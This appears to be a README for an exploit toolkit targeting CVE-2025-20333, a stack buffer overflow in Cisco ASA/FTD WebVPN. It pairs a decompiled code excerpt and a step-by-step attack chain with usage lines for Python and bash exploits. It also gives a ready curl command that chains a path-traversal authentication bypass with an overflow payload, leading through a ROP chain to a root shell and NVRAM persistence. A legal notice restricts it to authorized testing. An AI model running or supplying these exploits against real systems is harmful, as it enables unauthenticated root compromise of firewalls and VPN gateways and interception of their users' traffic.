
Complete research and exploitation toolkit for CVE-2025-20333, a critical stack buffer overflow in Cisco ASA/FTD WebVPN. Includes detailed binary analysis, PoC exploits in Python and bash, and exploitation guide.
This directory contains comprehensive research, analysis, and proof-of-concept code for CVE-2025-20333, a critical stack buffer overflow vulnerability in Cisco ASA/FTD WebVPN servers.
Status: β οΈ Actively exploited in the wild (ArcaneDoor campaign)
CVSS Score: 9.8 Critical
Authenticated: No (bypassed via CVE-2025-20362)
Impact: Remote Code Execution as root
CVE-2025-20333-RESEARCH-NOTES.md (20 KB)Complete reverse engineering research
Key Finding:
Fixed 16-byte buffer (local_58[16]) in body_lexer.re2c
URL-decoding loop has NO BOUNDS CHECK
Writing to local_58[iVar11] without checking iVar11 < 16
After 8 hex pairs: overflow β stack corruption β RCE
EXPLOITATION-GUIDE.md (12 KB)Practical exploitation manual
cve-2025-20333-poc.py (15 KB)Full-featured Python exploit
Features:
Usage:
# Show vulnerability details
python3 cve-2025-20333-poc.py --details
# Exploit target
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Custom settings
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 KB)Lightweight bash exploit
Features:
Usage:
# Show details
./cve-2025-20333-poc.sh --details
# Exploit
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Manual with curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Property | Value |
|---|---|
| CVE ID | CVE-2025-20333 |
| Type | Stack Buffer Overflow (CWE-120) |
| Component | body_lexer.re2c (FUN_0302e690) |
| Affected Versions | ASA 9.16β9.23, FTD 7.0β7.7 |
| CVSS v3.1 | 9.8 (Critical) |
| Authentication | Not required (via CVE-2025-20362) |
| User Interaction | None |
| Impact | RCE as root, full system compromise |
| Status | Actively exploited (May 2025+) |
| Responsible Disclosure | Cisco patched; advisory published |
// body_lexer.re2c - URL-decoding loop
byte local_58[16]; // β Fixed 16-byte buffer
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // β NO BOUNDS CHECK!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Overflow Trigger: 9+ consecutive %XX sequences in POST body
1. Attacker (NO AUTH required)
β
2. HTTP POST to /+CSCOU+/../+CSCOE+/files/file_list.json
ββ CVE-2025-20362: Path traversal bypasses auth check
ββ Reaches files_retr.lua endpoint (auth_flag = 0)
β
3. POST body: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ URL-encoded pairs)
β
4. body_lexer.re2c processes POST body
ββ Accumulates hex pairs into local_58[16]
ββ After 8 pairs: OVERFLOW!
β
5. Stack corruption
ββ Overwrites local_48, local_40
ββ Overwrites saved RBP
ββ Overwrites saved RIP (return address)
β
6. Control flow hijack
ββ RIP points to ROP gadgets
ββ ROP chain sets up execve()
ββ execve("/bin/sh", NULL, NULL)
β
7. RCE as root (lina process runs as root)
ββ Full VPN server compromise
ββ Access to all VPN traffic
ββ Persistence via NVRAM modification
lina binary in Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] with no bounds checkingVerify Authorization
Run Exploit
# Quick check: Does target respond to exploit attempt?
python3 cve-2025-20333-poc.py <target_ip>
# Or bash version:
./cve-2025-20333-poc.sh <target_ip>
Verify Exploitation
Document Findings
Read Research Notes
CVE-2025-20333-RESEARCH-NOTES.mdStudy PoCs
Adapt & Extend
β οΈ LEGAL NOTICE
This toolkit is provided for authorized security testing only.
β Authorized Use: